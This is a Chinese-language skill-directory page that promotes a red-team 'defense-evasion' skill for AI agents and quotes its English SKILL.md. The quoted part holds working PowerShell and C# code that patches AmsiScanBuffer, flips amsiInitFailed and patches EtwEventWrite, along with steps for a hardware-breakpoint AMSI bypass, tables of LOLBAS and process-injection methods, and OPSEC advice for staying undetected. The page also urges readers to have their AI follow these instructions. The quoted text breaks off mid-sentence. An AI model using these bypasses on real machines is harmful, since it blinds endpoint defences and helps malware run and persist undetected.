跳到正文
Skillpedia
安全6.5k · #13929

defense-evasion

它能做什么

本参考资料描述了试图规避杀毒软件和端点检测工具的技术类别。适合需要检验端点产品识别能力的获得授权的安全测试人员。

适用场景

  • ✓当获得授权的红队需要检查端点产品能否检测某一类技术时。
  • ✓当防御团队希望获得一份规避方法与 MITRE ATT&CK 类别的对应图时。
  • ✓当测试人员在目标上运行某个测试步骤之前,需要评估其风险等级时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“我们的红队想测试我们的端点工具能否识别常见的规避方法。你能给出一份安全的测试方案吗?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体会利用参考资料中的类别表和对应关系选择测试类别,并注意到每种方法的有效期有限,必须针对目标自身的产品进行测试。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

Defense Evasion Knowledge Base

Defense evasion techniques disable, bypass, or avoid endpoint security controls (AV, EDR, AMSI, ETW) to ensure payloads execute and implants persist without detection. Every technique here has a shelf life --- detections evolve constantly. Always test against the target's specific stack before deployment.

Quick Reference

Task Technique Risk Level
Disable AMSI Memory patch AmsiScanBuffer Medium
Disable AMSI (stealthier) Hardware breakpoint on AmsiScanBuffer Low
Disable ETW Patch EtwEventWrite Medium
Unhook EDR DLLs ScareCrow / manual ntdll reload High
Generate evasive payload ScareCrow with AES encryption Medium
Execute via LOLBAS mshta, certutil, rundll32, regsvr32 Varies
Process injection Process hollowing, early bird High
Custom loader Nim/Rust/Go shellcode runner Low-Medium

MITRE ATT&CK Mapping

Technique ID Name Evasion Relevance
T1562 Impair Defenses AMSI/ETW patching, disabling logging
T1027 Obfuscated Files or Information AES-encrypted shellcode, encoding
T1055 Process Injection Hollowing, APC injection, thread hijack
T1218 System Binary Proxy Execution LOLBAS (mshta, rundll32, regsvr32)
T1036 Masquerading Spoofed code signing, renamed binaries
T1140 Deobfuscate/Decode Files Runtime decryption of payloads

1. AMSI Bypass Techniques

Memory Patching (AmsiScanBuffer)

# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
# This patches the first bytes of AmsiScanBuffer with a return instruction

$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiContext', 'NonPublic,Static')
$ptr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($field.GetValue($null))

# Get AmsiScanBuffer address
$lib = [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()
$addr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")

# Change memory protection, write patch, restore protection
[Win32]::VirtualProtect($addr, [uint32]$patch.Length, 0x40, [ref]0)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length)

Hardware Breakpoint Method (Stealthier)

// Set hardware breakpoint on AmsiScanBuffer
// When hit, modify return value via exception handler
// Does NOT modify memory — avoids integrity checks

// 1. Register Vectored Exception Handler (VEH)
// 2. Set DR0 = address of AmsiScanBuffer
// 3. Set DR7 to enable breakpoint on execution
// 4. On exception: set RAX = AMSI_RESULT_CLEAN, advance RIP past function
// 5. Continue execution

// Advantage: No memory patches detectable by EDR memory scanning
// Disadvantage: DR registers are per-thread, must set for each thread

Reflection Method

# Use reflection to set amsiInitFailed = true
# Prevents AMSI initialization in the current process

[Ref].Assembly.GetType(
    'System.Management.Automation.AmsiUtils'
).GetField(
    'amsiInitFailed',
    'NonPublic,Static'
).SetValue($null, $true)

AMSI Bypass OPSEC Notes

Method Detectable By OPSEC Rating
Memory patch EDR memory scanning, Integrity checks Medium
Hardware breakpoint Thread context inspection (rare) High
Reflection (amsiInitFailed) Script block logging, known signature Low
Forcing AMSI error Process monitor, event correlation Medium

2. ETW Patching

Patching EtwEventWrite

// Patch ntdll!EtwEventWrite to return immediately (ret = 0xC3)
// This disables Event Tracing for Windows in the current process
// Prevents .NET assembly loading events, PowerShell logging, etc.

IntPtr etwAddr = GetProcAddress(
    GetModuleHandle("ntdll.dll"),
    "EtwEventWrite"
);

// Write 'ret' instruction (0xC3) at function entry
uint oldProtect;
VirtualProtect(etwAddr, 1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out oldProtect);

What ETW Patching Disables

  • .NET assembly load events (used by EDR to detect execute-assembly)
  • PowerShell ScriptBlock logging
  • Process creation events via ETW providers
  • Network connection telemetry from userland

ETW OPSEC Notes

  • Patch BEFORE loading any tools or assemblies
  • S
常见问题

这些技术总是有效吗?

不一定。参考资料指出,由于检测技术不断变化,每种技术的有效期都是有限的。

风险是如何标示的?

参考资料为每个类别列出了风险等级,例如低、中或高。

使用了哪个框架?

技术被映射到 MITRE ATT&CK 编号,例如削弱防御和系统二进制代理执行。

详情

作者的原始描述

Endpoint defense bypass — AMSI/ETW patching, ScareCrow framework, custom loaders, direct/indirect syscalls, LOLBAS execution, process injection.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#13929
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能